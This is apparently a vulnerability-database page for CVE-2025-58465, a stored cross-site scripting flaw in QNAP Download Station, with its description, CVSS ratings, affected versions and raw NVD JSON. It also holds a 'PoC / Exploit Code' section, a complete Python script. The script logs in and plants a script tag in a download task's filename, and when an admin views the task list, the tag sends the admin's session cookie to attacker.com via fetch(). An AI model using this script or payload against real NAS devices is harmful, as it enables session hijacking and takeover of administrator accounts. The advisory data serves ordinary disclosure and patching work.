Security Vulnerability Report
中文
CVE-2025-58465 CVSS 5.4 MEDIUM

CVE-2025-58465

Published: 2025-11-07 16:15:41
Last Modified: 2025-11-17 15:39:47

Description

A cross-site scripting (XSS) vulnerability has been reported to affect Download Station. If a remote attacker gains a user account, they can then exploit the vulnerability to bypass security mechanisms or read application data. We have already fixed the vulnerability in the following versions: Download Station 5.10.0.305 ( 2025/09/16 ) and later Download Station 5.10.0.304 ( 2025/09/08 ) and later

CVSS Details

CVSS Score
5.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:qnap:download_station:5.10.0.291:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:qnap:quts_hero:h5.2.1.2929:build_20241025:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:qnap:quts_hero:h5.2.1.2940:build_20241105:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:a:qnap:download_station:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:qnap:qts:5.2.1.2930:build_20241025:*:*:*:*:*:* - NOT VULNERABLE
QNAP Download Station < 5.10.0.304 (2025/09/08之前版本)
QNAP Download Station < 5.10.0.305 (2025/09/16之前版本)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
'''CVE-2025-58465 XSS PoC for QNAP Download Station Usage: Replace TARGET_IP with actual NAS IP and run script ''' import requests from urllib.parse import quote # Configuration TARGET_IP = "192.168.1.100" USERNAME = "attacker_account" PASSWORD = "attacker_password" # XSS payload - steals session cookie XSS_PAYLOAD = "<script>fetch('https://attacker.com/log?c='+encodeURIComponent(document.cookie))</script>" def exploit_cve_2025_58465(): """Exploit stored XSS in Download Station""" # Step 1: Login to get session session = requests.Session() login_url = f"https://{TARGET_IP}/cgi-bin/authLogin.cgi" login_data = { "username": USERNAME, "password": PASSWORD } response = session.post(login_url, data=login_data, verify=False) if response.status_code != 200: print("[-] Login failed") return False print("[+] Login successful") # Step 2: Create download task with XSS payload add_task_url = f"https://{TARGET_IP}/downloadstation/task.cgi" task_data = { "method": "add", "url": "http://example.com/test.txt", "filename": XSS_PAYLOAD # XSS in filename field } response = session.post(add_task_url, data=task_data, verify=False) if response.status_code == 200: print("[+] Malicious task created - XSS payload injected") print(f"[+] Payload: {XSS_PAYLOAD}") print("[+] When admin views task list, cookie will be exfiltrated") return True print("[-] Failed to create task") return False if __name__ == "__main__": exploit_cve_2025_58465()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-58465", "sourceIdentifier": "[email protected]", "published": "2025-11-07T16:15:41.230", "lastModified": "2025-11-17T15:39:47.067", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A cross-site scripting (XSS) vulnerability has been reported to affect Download Station. If a remote attacker gains a user account, they can then exploit the vulnerability to bypass security mechanisms or read application data.\n\nWe have already fixed the vulnerability in the following versions:\nDownload Station 5.10.0.305 ( 2025/09/16 ) and later\nDownload Station 5.10.0.304 ( 2025/09/08 ) and later"}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:A/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N/E:U/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 2.2, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "ACTIVE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "HIGH", "subIntegrityImpact": "HIGH", "subAvailabilityImpact": "NONE", "exploitMaturity": "UNREPORTED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:qnap:download_station:5.10.0.291:*:*:*:*:*:*:*", "matchCriteriaId": "DB5AA38B-9338-4627-89D3-0C6301C2A719"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:qnap:quts_hero:h5.2.1.2929:build_20241025:*:*:*:*:*:*", "matchCriteriaId": "DB92EFD7-47DD-4AAC-97BD-A2D4918FF4ED"}, {"vulnerable": false, "criteria": "cpe:2.3:o:qnap:quts_hero:h5.2.1.2940:build_20241105:*:*:*:*:*:*", "matchCriteriaId": "78E38E23-1AD0-49E1-89FA-73DC2F496137"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:qnap:download_station:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.10.0.291", "versionEndExcluding": "5.10.0.305", "matchCriteriaId": "A82E519C-6822-462D-9C68-14FE5CC90530"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:qnap:qts:5.2.1.2930:build_20241025:*:*:*:*:*:*", "matchCriteriaId": "E3FC6646-2247-4ED9-9643-CD376674E2E7"}]}]}], "references": [{"url": "https://www.qnap.com/en/security-advisory/qsa-25-37", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}